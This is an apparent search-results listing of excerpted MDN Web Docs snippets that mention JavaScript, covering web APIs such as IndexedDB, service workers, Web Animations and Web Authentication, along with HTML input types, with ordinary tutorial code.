JavaScript: history.replaceState(stateObj, "page 3", "bar2.html") This will cause the URL bar to display http://mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists. Suppose now that the user navigates to http://www.microsoft.com, then clicks the Back button. At this point, the URL bar will display http://mozilla.org/bar2.html. If the user now clicks B...
Checking when a deadline is due - Web APIs
e current moment. Basically, we want to check what the time and date is right now, and then check each stored event to see if any of their deadlines match the current time and date. If they do, we want to let the user know with some kind of notification. This would be easy if we were just comparing two Date objects, but of course humans don't want to enter deadline information in the same format
JavaScript understands. Human-readable dates are quite different, with a number of different representations. Recording the date information To provide a reasonable user experience on mobile devices, and to cut down on ambiguities, I decided to create an HTML form with: A text input for entering a title for your to-do list. This is the least avoidable bit of user typing. Number inputs for the hour a...
... if(+(cursor.value.hours) == hourCheck && +(cursor.value.minutes) == minuteCheck && +(cursor.value.day) == dayCheck && monthNumber == monthCheck && cursor.value.year == yearCheck && notified == "no") { // If the numbers al...
...hNumber = 1; break; // other lines removed from listing for brevity case "December": var monthNumber = 11; break; default: alert('Incorrect month entered in database.'); } The first thing we do is convert the month names we have stored in the database into a month number that
JavaScript will understand. As we saw before, the
JavaScript Date object creates month values as a number between 0 and 11. if(+(cursor.value.hours) == hourCheck && +(cursor.value.minutes) == minuteCheck && +(cursor.value.day) == dayCheck && monthNumber == monthCheck && cursor.value.year == yearCheck && notified == "no") { // If the numbers all do match, run the createNotification() /...
...e current time and date segments that we want to check against the IndexedDB stored values all assembled, it is time to perform the checks. We want all the values to match before we show the user some kind of notification to tell them their deadline is up. The + operator in this case converts numbers with leading zeros into their non leading zero equivalents, e.g. 09 -> 9. This is needed because
JavaScript Date number values never have leading zeros, but our data might. The notified == "no" check is designed to make sure you will only get one notification per to-do item. When a notification is fired for each item object, its notification property is set to "yes" so this check will not pass on the next iteration, via the following code inside the createNotification() function (read Using IndexedDB ...
Using IndexedDB - Web APIs
r. The following table shows the different ways the keys are supplied: Key Path (keyPath) Key Generator (autoIncrement) Description No No This object store can hold any kind of value, even primitive values like numbers and strings. You must supply a separate key argument whenever you want to add a new value. Yes No This object store can only hold
JavaScript objects. The objects must have a property with the same name as the key path. No Yes This object store can hold any kind of value. The key is generated for you automatically, or you can supply a separate key argument if you want to use a specific key. Yes Yes This object store can only hold
JavaScript objects. Usually a key is generated and the value of the generated...
... everything was sorted as if it were English text. For example, b, a, z, a would be sorted as: a b z a which is obviously not how users want their data to be sorted -- Aaron and Aaron for example should go next to one another in a contacts list. Achieving proper international sorting therefore required the entire dataset to be called into memory, and sorting to be performed by client-side
JavaScript, which is not very efficient. This new functionality enables developers to specify a locale when creating an index using IDBObjectStore.createIndex() (check out its parameters.) In such cases, when a cursor is then used to iterate through the dataset, and you want to specify locale-aware sorting, you can use a specialized IDBLocaleAwareKeyRange. IDBIndex has also had new properties added to it ...
...the locale if any, or null if none is specified) and isAutoLocale (returns true if the index was created with an auto locale, meaning that the platform's default locale is used, false otherwise.) Note: This feature is currently hidden behind a flag -- to enable it and experiment, go to about:config and enable dom.indexedDB.experimental. ...
...action-success { padding: 0.5em; color: #00d21e; background-color: #eeeeee; border-radius: 0.2em; } .action-failure { padding: 0.5em; color: #ff1408; background-color: #eeeeee; border-radius: 0.2em; } .note { font-size: smaller; } .destructive { background-color: orange; } .destructive:hover { background-color: #ff8000; } .destructive:active { background-color: red; }
JavaScript Content (function () { var COMPAT_ENVS = [ ['Firefox', ">= 16.0"], ['Google Chrome', ">= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"] ]; var compat = $('#compat'); compat.empty(); compat.append('<ul id="compat-list"></ul>'); COMPAT_ENVS.forEach(function(val, idx, array) { $('#compat-list').append('<li>' + val[0] + ': ' + val[1] + '</li>'...
Using Service Workers - Web APIs
lication Cache is a Douchebag for more details. Note: As of Firefox 44, when AppCache is used to provide offline support for a page a warning message is now displayed in the console advising developers to use Service workers instead (bug 1204581.) Service workers should finally fix these issues. Service worker syntax is more complex than that of AppCache, but the trade off is that you can use
JavaScript to control your AppCache-implied behaviors with a fine degree of granularity, allowing you to handle this problem and many more. Using a Service worker you can easily set an app up to use cached assets first, thus providing a default experience even when offline, before then getting more data from the network (commonly known as Offline First). This is already available with native apps, which is ...
...ody (its argument is the request.response contained inside the promise's resolve method); in the rejected case we return an error to the console. This all happens asynchronously. Note: You can also chain promise calls together, for example: myPromise().then(success, failure).then(success).catch(failure); Note: You can find a lot more out about promises by reading Jake Archibald's excellent
JavaScript Promises: there and back again. Service workers demo To demonstrate just the very basics of registering and installing a service worker, we have created a simple demo called sw-test, which is a simple Star wars Lego image gallery. It uses a promise-powered function to read image data from a JSON object and load the images using Ajax, before displaying the images in a line down the page. We've ...
.... To access the resolved promise values, we then access this function as you'd then expect (see app.js lines 60-64). This may seem a bit odd at first, but this is the way promises work. Enter service workers NOTE : We're using the es6 arrow functions syntax in the Service Worker Implementation Now let's get on to service workers! Registering your worker The first block of code in our app's
JavaScript file -- app.js -- is as follows. This is our entry point into using service workers. if ('serviceWorker' in navigator) { navigator.serviceWorker.register('./sw-test/sw.js', {scope: './sw-test/'}) .then((reg) => { // registration worked console.log('Registration succeeded. Scope is ' + reg.scope); }).catch((error) => { // registration failed console.log('Registration failed ...
... succeeded. Scope is ' + reg.scope); }).catch((error) => { // registration failed console.log('Registration failed with ' + error); }); } The outer block performs a feature detection test to make sure service workers are supported before trying to register one. Next, we use the ServiceWorkerContainer.register() function to register the service worker for this site, which is just a
JavaScript file residing inside our app (note this is the file's URL relative to the origin, not the JS file that references it.) The scope parameter is optional, and can be used to specify the subset of your content that you want the service worker to control. In this case, we have specified '/sw-test/', which means all content under the app's origin. If you leave it out, it will default to this value any...
Using the Web Animations API - Web APIs
The Web Animations API lets us construct animations and control their playback with
JavaScript. This article will start you off in the right direction with fun demos and tutorials featuring Alice in Wonderland. Meet the Web Animations API The Web Animations API opens the browser's animation engine to developers and manipulation by
JavaScript. This API was designed to underlie implementations of both CSS Animations and CSS Transitions, and leaves the door open to future animation effects. It is one of the most performant ways to animate on the Web, letting the browser make its own internal optimizations without hacks, coercion, or Window.requestAnimationFrame(). With the Web Animations API, we can move interactive animations from stylesheets to
JavaScript, separating presentation from behavior. W...
...For building custom animation libraries and creating interactive animations, the Web Animations API might be the perfect tool for the job. ...
...olor: #000; transform: rotate(360deg) translate3D(-50%, -50%, 0); } } This changes Alice's color and her transform's rotation over 3 seconds at a constant (linear) rate and loops infinitely. In the @keyframes block we can see that 30% of the way through each loop (about .9 seconds in), Alice's color changes from black to a deep burgundy then back again by the end of the loop. Moving it to
JavaScript Now let's try creating the same animation with the Web Animations API. Representing keyframes The first thing we need is to create a Keyframe Object corresponding to our CSS @keyframes block: var aliceTumbling = [ { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.3}, { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000'...
...Timers.setTimeout() and Window.requestAnimationFrame(), the Web Animations API only takes milliseconds. The other thing you'll notice is that it's iterations, not iteration-count. There are a number of small differences between the terminology used in CSS Animations and the terminology used in Web Animations. For instance, Web Animations doesn't use the string "infinite", but instead uses the
JavaScript keyword Infinity. And instead of timing-function we use easing. We aren't listing an easing value here because, unlike CSS Animations where the default animation-timing-function is ease, in the Web Animations API the default easing is linear -- which is what we want here. Bring the pieces together Now it's time to bring them both together with the Element.animate() method: document.getElement...
Web Authentication API - Web APIs
only intended to provide an overview. The full set of required fields, optional fields, and their meanings for creating a registration request can be found in the PublicKeyCredentialCreationOptions dictionary. Likewise, the full set of response fields can be found in the PublicKeyCredential interface (where PublicKeyCredential.response is the AuthenticatorAttestationResponse interface). Note most
JavaScript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means. Figure 1 - a diagram showing the sequence of actions for a web authentication registrat...
... data associated with each action. The registration steps are: Application Requests Registration - The application makes the initial registration request. The protocol and format of this request is outside of the scope of the Web Authentication API. Server Sends Challenge, User Info, and Relying Party Info - The server sends a challenge, user information, and relying party information to the
JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the ...
...2 - similar to Figure 1, a diagram showing the sequence of actions for a web authentication and the essential data associated with each action. Application Requests Authentication - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of the Web Authentication API. Server Sends Challenge - The server sends a challenge to the
JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the ...
...account during the registration call. Authenticator Returns Data to Browser - The authenticator returns the authenticatorData and assertion signature back to the browser. Browser Creates Final Data, Application sends response to Server - The browser resolves the Promise to a PublicKeyCredential with a PublicKeyCredential.response that contains the AuthenticatorAssertionResponse. It is up to the
JavaScript application to transmit this data back to the server using any protocol and format of its choice. Server Validates and Finalizes Authentication - Upon receiving the result of the authentication request, the server performs validation of the response such as: Using the public key that was stored during the registration request to validate the signature by the authenticator. Ensuring that...
Window - Web APIs
The Window interface represents a window containing a DOM document; the document property points to the DOM document loaded in that window. A window for a given document can be obtained using the document.defaultView property. A global variable, window, representing the window in which the script is running, is exposed to
JavaScript code. The Window interface is home to a variety of functions, namespaces, objects, and constructors which are not necessarily directly associated with the concept of a user interface window. However, the Window interface is a suitable place to include these items that need to be globally available. Many of these are documented in the
JavaScript Reference and the DOM Reference. In a tabbed browser, each tab is represented by its own Window object; the global window se...
...cts, and constructors which are not necessarily directly associated with the concept of a user interface window. However, the Window interface is a suitable place to include these items that need to be globally available. Many of these are documented in the
JavaScript Reference and the DOM Reference. In a tabbed browser, each tab is represented by its own Window object; the global window seen by
JavaScript code running within a given tab always represents the tab in which the code is running. That said, even in a tabbed browser, some properties and methods still apply to the overall window that contains the tab, such as resizeTo() and innerHeight. Generally, anything that can't reasonably pertain to a tab pertains to the window instead. <div id="interfaceDiagram" style="display: inline-block; ...
...sents a quadrilaterial object, that is one having four corners and four sides. Window.DOMRect Read only Returns a reference to a DOMRect object, which represents a rectangle. Window.DOMRectReadOnly Read only Returns a reference to a DOMRectReadOnly object, which represents a rectangle. Window.event Read only Returns the current event, which is the event currently being handled by the
JavaScript code's context, or undefined if no event is currently being handled. The Event object passed directly to event handlers should be used instead whenever possible. Window.frameElement Read only Returns the element in which the window is embedded, or null if the window is not embedded. Window.frames Read only Returns an array of the subframes in the current window. Window.fullScreen This pro...
...rror property. Print events afterprint Fired after the associated document has started printing or the print preview has been closed. Also available via the onafterprint property. beforeprint Fired when the associated document is about to be printed or previewed for printing. Also available via the onbeforeprint property. Promise rejection events rejectionhandled Sent every time a
JavaScript Promise is rejected, regardless of whether or not there is a handler in place to catch the rejection. Also available through the onrejectionhandled event handler property. unhandledrejection Sent when a
JavaScript Promise is rejected but there is no handler in place to catch the rejection. Also available using the onunhandledrejection event handler property. Transition events transitionc...
Detecting CSS animation support - CSS: Cascading Style Sheets
This article, based on this blog post by Chris Heilmann, demonstrates a technique for doing this. ...
...new Firefox, the property will be MozAnimation and the keyframe prefix -moz- and with Chrome it'll be WebkitAnimation and -webkit-. Notice browsers don't make it easy with the switching between camelCase and hyphen-ation. Animating using the correct syntax for different browsers Now that you know if CSS animation is supported or not, we can animate. ...
... Setting the animation property is easy; simply update its value in the style collection. However, adding keyframes is trickier, since they're not defined using traditional CSS syntax (which makes them more flexible, but harder to define from script). To define our keyframes usin...
...heets.length ) { document.styleSheets[0].insertRule( keyframes, 0 ); } else { var s = document.createElement( 'style' ); s.innerHTML = keyframes; document.getElementsByTagName( 'head' )[ 0 ].appendChild( s ); } } This code looks at the value of animation; if it's false, we know we need to use our
JavaScript fallback code to perform our animation. Otherwise, we can use
JavaScript to create the desired CSS animation effects. Setting the animation property is easy; simply update its value in the style collection. However, adding keyframes is trickier, since they're not defined using traditional CSS syntax (which makes them more flexible, but harder to define from script). To define our keyframes using
JavaScript, we need to write them out as a CSS string. All we do is set...
Using CSS transitions - CSS: Cascading Style Sheets
av> Then we build the CSS to implement the look and feel of our menu. The relevant portions are shown here: a { color: #fff; background-color: #333; transition: all 1s ease-out; } a:hover, a:focus { color: #333; background-color: #fff; } This CSS establishes the look of the menu, with the background and text colors both changing when the element is in its :hover and :focus states.
JavaScript examples Care should be taken when using a transition immediately after: adding the element to the DOM using .appendChild() removing an element's display: none; property. This is treated as if the initial state had never occurred and the element was always in its final state. The easy way to overcome this limitation is to apply a window.setTimeout() of a handful of milliseconds before cha...
...dding the element to the DOM using .appendChild() removing an element's display: none; property. This is treated as if the initial state had never occurred and the element was always in its final state. The easy way to overcome this limitation is to apply a window.setTimeout() of a handful of milliseconds before changing the CSS property you intend to transition to. ...
...state had never occurred and the element was always in its final state. The easy way to overcome this limitation is to apply a window.setTimeout() of a handful of milliseconds before changing the CSS property you intend to transition to. Using transitions to make
JavaScript functionality smooth Transitions are a great tool to make things look much smoother without having to do anything to your
JavaScript functionality. Take the following example. ...
...y a window.setTimeout() of a handful of milliseconds before changing the CSS property you intend to transition to. Using transitions to make
JavaScript functionality smooth Transitions are a great tool to make things look much smoother without having to do anything to your
JavaScript functionality. Take the following example. <p>Click anywhere to move the ball</p> <div id="foo"></div> Using
JavaScript you can make the effect of moving the ball to a certain position happen: var f = document.getElementById('foo'); document.addEventListener('click', function(ev){ f.style.transform = 'translateY('+(ev.clientY-25)+'px)'; f.style.transform += 'translateX('+(ev.clientX-25)+'px)'; },false); With CSS you can make it smooth without any extra effort. Simply add a transition to the element and ...
Cross-browser audio basics - Developer guides
trols=true&isvideo=false&file=audiofile.mp3" /> </object> </audio> Note: You should be aware that Flash and Silverlight code require that the user has the appropriate plugin installed, and that the browser cannot guarantee the security aspects of code running on those plugin platforms. These are also deprecated, and soon won't work in any modern browsers. Manipulating the Audio Element with
JavaScript In addition to being able to specify various attributes in HTML, the <audio> element comes complete with several properties and methods that you can manipulate via
JavaScript. Given the following HTML: <audio id="my-audio" src="audiofile.mp3"> ... </audio> You can grab the <audio> element like this: var myAudio = document.getElementById('my-audio'); Alternatively, you can create a new e...
...we need to set the point to play from separately if we don't want it to be 0. The value of currentTime is a number which represents the time in seconds. if (myAudio.currentTime > 5) { myAudio.currentTime = 3; } volume The volume property allows us to set the audio volume, as a number between 0 and 1. // set the volume at 50% myAudio.volume = 0.5; Creating your own custom audio player The
JavaScript media API allows you to create your own custom player. Let's take a look at a very minimal example. We can combine HTML and
JavaScript to create a very simple player with a play and a pause button. First, we'll set up the audio in the HTML, without the controls attribute, since we are creating our own controls: <audio id="my-audio"> <source src="audiofile.mp3" type="audio/mpeg"> <source src=...
...ource src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- place fallback here as <audio> supporting browsers will ignore it --> <p>Download<a href="audiofile.mp3">audiofile.mp3</a></p> </audio> <!-- custom play and pause buttons --> <button id="play">play</button> <button id="pause">pause</button> Next, we attach some functionality to the player using
JavaScript: window.onload = function(){ var myAudio = document.getElementById('my-audio'); var play = document.getElementById('play'); var pause = document.getElementById('pause'); // associate functions with the 'onclick' events play.onclick = playAudio; pause.onclick = pauseAudio; function playAudio() { myAudio.play(); } function pauseAudio() { myAudio.pause(); } } Media...
...<button id="play" style="display:none">play</button> <button id="pause" style="display:none" >pause</button> </div> <div id="progress"> <div id="bar"></div> </div> Styled like so: #controls { width: 80px; float: left; } #progress { margin-left: 80px; border: 1px solid black; } #bar { height: 20px; background-color: green; width: 0; } Now let's wire this thing up with
JavaScript: window.onload = function(){ var myAudio = document.getElementById('my-audio'); var play = document.getElementById('play'); var pause = document.getElementById('pause'); var loading = document.getElementById('loading'); var bar = document.getElementById('bar'); function displayControls() { loading.style.display = "none"; play.style.display = "block"; } // c...
Using HTML sections and outlines - Developer guides
eateElement("article"); document.createElement("aside"); document.createElement("footer"); document.createElement("header"); document.createElement("nav"); document.createElement("section"); document.createElement("time"); </script> <![endif]--> As a last precaution, you could also add an explicit <noscript> element inside the <head> element to warn any users that have
JavaScript disabled that your page relies on
JavaScript: <noscript> <p><strong>This web page requires
JavaScript to be enabled.</strong></p> <p>
JavaScript is an object-oriented computer programming language commonly used to create interactive effects within web browsers.</p> <p><a href="https://goo.gl/koeeaJ">How to enable
JavaScript?</a></p> </noscript> This leads to the following code to allo...
...This isn't a really bad thing neccessarily -- sites will often have a few v...
...This isn't a really bad thing neccessarily -- sites will often have a few validation errors -- but it's something to be...
...This isn't a really bad thing neccessarily -- sites will often have a few validation errors -- but it's something to be aware of still. ...
Printing - Developer guides
red. Examples Here are some common examples. ...
...atically close a popup window when finished If you want to be able to automatically close a popup window (for example, the printer-friendly version of a document) after the user prints its contents, you can use code like this: <!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>
JavaScript Window Close Example </title> <script type="text/
javascript"> function popuponclick() { my_window = window.open('', 'mywindow', 'status=1,width=350,height=150'); my_window.document.write('<html><head><title>Print Me</title></head>'); my_window.document.write('<body onafterprint="self.close()">'); my_window.document.write('<p>When you print this window, it will close afterward.</p>'); my_window.document.write('</body></htm...
...ose()">'); my_window.document.write('<p>When you print this window, it will close afterward.</p>'); my_window.document.write('</body></html>'); } </script> </head> <body> <p>To try out the <code>afterprint</code> event, click the link below to open the window to print. You can also try changing the code to use <code>beforeprint</code> to see the difference.</p> <p><a href="
javascript: popuponclick()">Open Popup Window</a></p> </body> </html> View Live Examples Print an external page without opening it If you want to be able to print an external page without opening it, you can utilize a hidden <iframe> (see: HTMLIFrameElement), automatically removing it after the user prints its contents. The following is a possible example which will print a file named externalPage.html:...
...to print an external page without opening it, you can utilize a hidden <iframe> (see: HTMLIFrameElement), automatically removing it after the user prints its contents. ...
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
s only supported by Mozilla-based browsers; use the standardized canvas.getContext('2d', { alpha: false }) instead. width The width of the coordinate space in CSS pixels. Defaults to 300. Usage notes Alternative content You may (and should) provide alternate content inside the <canvas> block. That content will be rendered both on older browsers that don't support canvas and in browsers with
JavaScript disabled. Providing a useful fallback text or sub DOM helps to make the the canvas more accessible. Required </canvas> tag Unlike the <img> element, the <canvas> element requires the closing tag (</canvas>). Sizing the canvas using CSS versus HTML The displayed size of the canvas can be changed using CSS, but if you do this the image is scaled during rendering to fit the styled size, which ca...
...vas using CSS versus HTML The displayed size of the canvas can be changed using CSS, but if you do this the image is scaled during rendering to fit the styled size, which can make the final graphics rendering end up being distorted. It is better to specify your canvas dimensions by setting the width and height attributes directly on the <canvas> elements, either directly in the HTML or by using
JavaScript. Maximum canvas size The maximum size of a <canvas> element is very large, but the exact size depends on the browser. The following is some data we've collected from various tests and other sources (e.g. Stack Overflow): Browser Maximum height Maximum width Maximum area Chrome 32,767 pixels 32,767 pixels 268,435,456 pixels (i.e., 16,384 x 16,384) ...
... Note: Exceeding the maximum dimensions or area renders the canvas unusable -- drawing commands will not work. Examples HTML This code snippet adds a canvas element to your HTML document. A fallback text is provided if a browser is unable to render the canvas, or if can't read a canvas. <canvas width="300" height="300"> An alternative text describing what your canvas displays. ...
...ximum dimensions or area renders the canvas unusable -- drawing commands will not work. Examples HTML This code snippet adds a canvas element to your HTML document. A fallback text is provided if a browser is unable to render the canvas, or if can't read a canvas. <canvas width="300" height="300"> An alternative text describing what your canvas displays. ...
<input type="datetime-local"> - HTML: Hypertext Markup Language
tted yyyy-MM-ddThh:mm. When the above value submitted to the server, for example, it will look like partydate=2017-06-01T08:30. Note: Also bear in mind that if such data is submitted via HTTP GET, the colon character will need to be escaped for inclusion in the URL parameters, e.g. partydate=2017-06-01T08%3A30. See encodeURI() for one way to do this. You can also get and set the date value in
JavaScript using the HTMLInputElement.value property, for example: var dateControl = document.querySelector('input[type="datetime-local"]'); dateControl.value = '2017-06-01T08:30'; There are several methods provided by
JavaScript's Date that can be used to convert numeric date information into a properly-formatted string, or you can do it manually. For example, the Date.toISOString() method can be used fo...
... The proble...
... position: absolute; right: -18px; } The best way to deal with dates in forms in a cross-browser way at the moment is to get the user to enter the day, month, year, and time in separate controls (<select> elements being popular -- see below for an implementation), or use
JavaScript libraries such as jQuery date picker, and the jQuery timepicker plugin. The Y2K38 Problem (often server-side)
JavaScript uses double precision floating points to store dates, as with all numbers, meaning that
JavaScript code will not suffer from the Y2K38 problem unless integer coercion/bit-hacks are used because all
JavaScript bit operators use 32-bit signed 2s-complement integers. The problem is with the server side of things: storage of dates greater than 231-1. To fix this problem, you must store all dates usi...
... will not see issues with forms submitted after the year 10,000. The problem is with the client side of things: parsing of dates with more than 4 digits in the year. <!--midnight of January 1st, 10000: the exact time of Y10K--> <input type="datetime-local" value=""+010000-01-01T05:00"/> It's that simple. Just prepare your code for any number of digits. Do not only prepare for 5 digits. ...
<input type="file"> - HTML: Hypertext Markup Language
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Value A DOMString representing the path to the selected file. ...
... Value A file input's value attribute contains a DOMString that represents the path to the selected file(s). If the user selected multiple files, the value represents the first file in the list of files they selected. The other files can be identified using the input's HTMLInputElement.files property. Note: If multiple files are selected, the string represents the first selected file.
JavaScript can access the other files through the input's files property. If no file is yet selected, the string is "" (empty). The string is prefixed with C:\fakepath\, to prevent malicious software from guessing the user's file structure. Additional attributes In addition to the common attributes shared by all <input> elements, inputs of type file also support the following attributes: Att...
...nd in fact is defined in the spec. Examples In this example, we'll present a slightly more advanced file chooser that takes advantage of the file information available in the HTMLInputElement.files property, as well as showing off a few clever tricks. Note: You can see the complete source code for this example on GitHub -- file-example.html (see it live also). We won't explain the CSS; the
JavaScript is the main focus. First of all, let's look at the HTML: <form method="post" enctype="multipart/form-data"> <div> <label for="image_uploads">Choose images to upload (PNG, JPG)</label> <input type="file" id="image_uploads" name="image_uploads" accept=".jpg, .jpeg, .png" multiple> </div> <div class="preview"> <p>No files currently selected for upload</p> </div> <div> <b...
...#7F9CCB; padding: 5px 10px; border-radius: 5px; border: 1px ridge black; font-size: 0.8rem; height: auto; } form label:hover, form button:hover { background-color: #2D5BA3; color: white; } form label:active, form button:active { background-color: #0D3F8F; color: white; } This is similar to what we've seen before -- nothing special to comment on. Next, let's walk through the
JavaScript. In the first lines of script, we get references to the form input itself, and the <div> element with the class of .preview. Next, we hide the <input> element -- we do this because file inputs tend to be ugly, difficult to style, and inconsistent in their design across browsers. You can activate the input element by clicking its <label>, so it is better to visually hide the input and style the l...
<input type="month"> - HTML: Hypertext Markup Language
to note is that the displayed date format differs from the actual value; most user agents display the month and year in a locale-appropriate form, based on the set locale of the user's operating system, whereas the date value is always formatted yyyy-MM. When the above value is submitted to the server, for example, it will look like bday-month=1978-06. ...
...lement fails constraint validation. If a value is specified for min that isn't a valid year and month string, the input has no minimum value. This value must be a year-month pairing which is earlier than or equal to the one specified by the max attribute. readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed from
JavaScript code that directly sets the value of the HTMLInputElement.value property. Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. step The step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. Only values which are equal t...
... Examples In this example, we create two sets of UI elements, each designed to let the user select a month and year. The first is a native month input, and the other is a pair of <select> elements that allow choosing a month and year independently, for compatibility with browsers that don't yet support <input type="month">. HTML The form that ...
...see the code comments below for detailed explanations of how these functions work). div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '?'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '?'; padding-left: 5px; }
JavaScript The
JavaScript code that handles selecting which approach to use and to set up the list of years to include in the non-native year <select> follows. The part of the example that may be of most interest is the feature detection code. In order to detect whether the browser supports <input type="month">, we create a new <input> element, try setting its type to month, then immediately check what it...
<input type="password"> - HTML: Hypertext Markup Language
ed, or an invalid value is specified, the password input has no minimum length. The input will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long. pattern The pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. It must be a valid
JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expressi...
...laceholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See Labels and placeholders in <input>: The Input (Form Input) element for more information. readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed from
JavaScript code that directly sets the value of the HTMLInputElement.value property. Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. size The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20...
..."pin">PIN:</label> <input id="pin" type="password" inputmode="numeric" minlength="4" maxlength="8" size="8"> Selecting text As with other textual entry controls, you can use the select() method to select all the text in the password field. ...
...uire that the value be at least nine and no more than 12 characters (the former without separating characters between the groups of digits and the latter with them). The required attribute is used to indicate that this control must have a value. Finally, autocomplete is set to off to avoid password managers and session restore features trying to set its value, since this isn't a password at all.
JavaScript This is just some simple code to display the entered SSN onscreen so you can see it. Obviously this defeats the purpose of a password field, but it's helpful for experimenting with the pattern. var ssn = document.getElementById("ssn"); var current = document.getElementById("current"); ssn.oninput = function(event) { current.innerHTML = ssn.value; } Result Specifications Specifi...
<input type="time"> - HTML: Hypertext Markup Language
pUp(). Value A DOMString containing the value of the time entered into the input. You can set a default value for the input by including a valid time in the value attribute when creating the <input> element, like so: <label for="appt-time">Choose an appointment time: </label> <input id="appt-time" type="time" name="appt-time" value="13:30"> You can also get and set the date value in
JavaScript using the HTMLInputElement.value property, for example: var timeControl = document.querySelector('input[type="time"]'); timeControl.value = '15:30'; Time value format The value of the time input is always in 24-hour format that includes leading zeros: hh:mm, regardless of the input format, which is likely to be selected based on the user's locale (or by the user agent). If the time includes se...
... a look at the HTML. This is simple enough, with the label and input as we've seen before, but with the addition of a <p> element with a <span> to display the value of the time input: <form> <label for="startTime">Start time: </label> <input type="time" id="startTime"> <p> Value of the <code>time</code> input: <code> "<span id="value">n/a</span>"</code>. </p> </form> The
JavaScript code adds code to the time input to watch for the input event, which is triggered every time the contents of an input element change. When this happens, the contents of the <span> are replaced with the new value of the input element. var startTime = document.getElementById("startTime"); var valueSpan = document.getElementById("value"); startTime.addEventListener("input", function() { valueSpa...
...above. If the specified string isn't a valid time, no maximum value is set. min A string specifying the earliest time to accept, given in the time value format described previously. If the value specified isn't a valid time string, no minimum value is set. readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by
JavaScript code directly setting the HTMLInputElement.value property. Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. step The step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. Only values which are equal to the basis for...
... Examples In this example, we create two sets of interface elements for choosing times: a native picker created with <input type="time">, and a set of two <select> elements for choosing hours/minutes in older browsers that don't support the native input. The HTML looks like so: <form> <div class="nativeTimePicker"> <label for="appt-time">...
<input type="week"> - HTML: Hypertext Markup Language
o start?</label> <input id="week" type="week" name="week" value="2017-W01"> One thing to note is that the displayed format may differ from the actual value, which is always formatted yyyy-Www. When the above value is submitted to the server, for example, browsers may display it as Week 01, 2017, but the submitted value will always look like week=2017-W01. ...
... If the value of the element is less than this, the element fails constraint validation. If a value is specified for min that isn't a valid week string, the input has no minimum value. This value must be less than or equal to the value of the max attribute. readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by
JavaScript code directly setting the HTMLInputElement.value property. Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. step The step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. Only values which are equal to the basis for...
...ing the input (and it's certainly not intuitive). There are multiple ways in which people could write week values; for example: Week 1 2017 Jan 2-8 2017 2017-W01 etc. The best way to deal with week/years in forms in a cross-browser way at the moment is to get the user to enter the week number and year in separate controls (<select> elements being popular; see below for an example), or use
JavaScript libraries such as jQuery date picker. Examples In this example we create two sets of UI elements for choosing weeks: a native picker created using <input type="week">, and a set of two <select> elements for choosing weeks/years in older browsers that don't support the week input type. The HTML looks like so: <form> <div class="nativeWeekPicker"> <label for="week">What week would you l...
... div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '?'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '?'; padding-left: 5px; } The other part of the code that may be of interest is the feature detec...
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
Warning: Avoid giving form elements a name that corresponds to a built-in property of the form, since you would then override the predefined property or method with this reference to the corresponding input. pattern The pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. It must be a valid
JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the pattern attribute is present but is not specified or is invalid, no ...
... to render. For example, to create a checkbox, a value of checkbox is used. If omitted (or an unknown value is specified), the input type text is used, creating a plaintext input field. Permitted values are listed in <input> types above. value The input control's value. When specified in the HTML, this is the initial value, and from then on it can be altered or retrieved at any time using
